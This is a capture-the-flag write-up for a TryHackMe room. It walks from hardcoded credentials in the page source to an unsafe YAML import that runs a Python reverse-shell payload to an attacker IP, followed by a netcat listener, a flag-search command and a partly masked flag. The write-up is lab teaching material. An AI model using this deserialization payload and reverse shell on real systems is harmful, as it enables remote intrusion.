From Exposed Credentials to Remote Shell

From Exposed Credentials to Remote Shell

A TryHackMe web exploitation challenge involving exposed credentials, unsafe YAML deserialization, command execution, and a reverse shell to retrieve the final flag.

Vulnerability:Insecure Deserialization
Platform:TryHackMe
Difficulty:Beginner
Severity:Critical(9.0–10.0)
Tags:
Remote Code ExecutionDefault Credentials
R
Written by Robert
4 min read

Initial Access

Inspecting the page source revealed a staff note containing hardcoded credentials for the demo DJ account:

text
dj / dj

The credentials were used to authenticate to the web dashboard.

Inspect Element credentials found

Playlist Import

The dashboard contained an Import Playlist feature that accepted YAML input.

Testing the parser revealed that Python-specific YAML objects could be processed. I used the following payload to execute a reverse shell:

yaml
playlist: 
    name: !!python/object/apply:os.system - | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.154.159",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Reverse Shell

A Netcat listener was started before submitting the payload:

sh
nc -lvnp 4444

The target successfully connected back, providing an interactive shell.

Interactive shell obtained on the target system.

Flag

With shell access established, I searched for .txt files containing the TryHackMe flag format:

text
find / -type f -name "*.txt" -exec grep -H "THM{" {} \; 2>/dev/null

The flag was recovered:

Flag captured

Flag recovered from the compromised system.

Attack Path

text
Inspect Element
      │
      ▼
Exposed DJ Credentials
      │
      ▼
Dashboard Login
      │
      ▼
Playlist Import
      │
      ▼
Unsafe YAML Processing
      │
      ▼
Command Execution
      │
      ▼
Reverse Shell
      │
      ▼
Flag Search
      │
      ▼
THM{y4ml_*******_***_***_b34ch}

Key Findings

  • Hardcoded credentials exposed in page content.
  • Demo credentials remained active.
  • Playlist import accepted unsafe YAML input.
  • Unsafe deserialization allowed command execution.
  • Successful exploitation resulted in remote shell access.

Conclusion

The Beach Bar room demonstrated how exposed credentials combined with unsafe YAML processing can lead from initial web access to remote command execution.

More Write-ups

Explore more write-ups related to this topic.

Related write-upsView All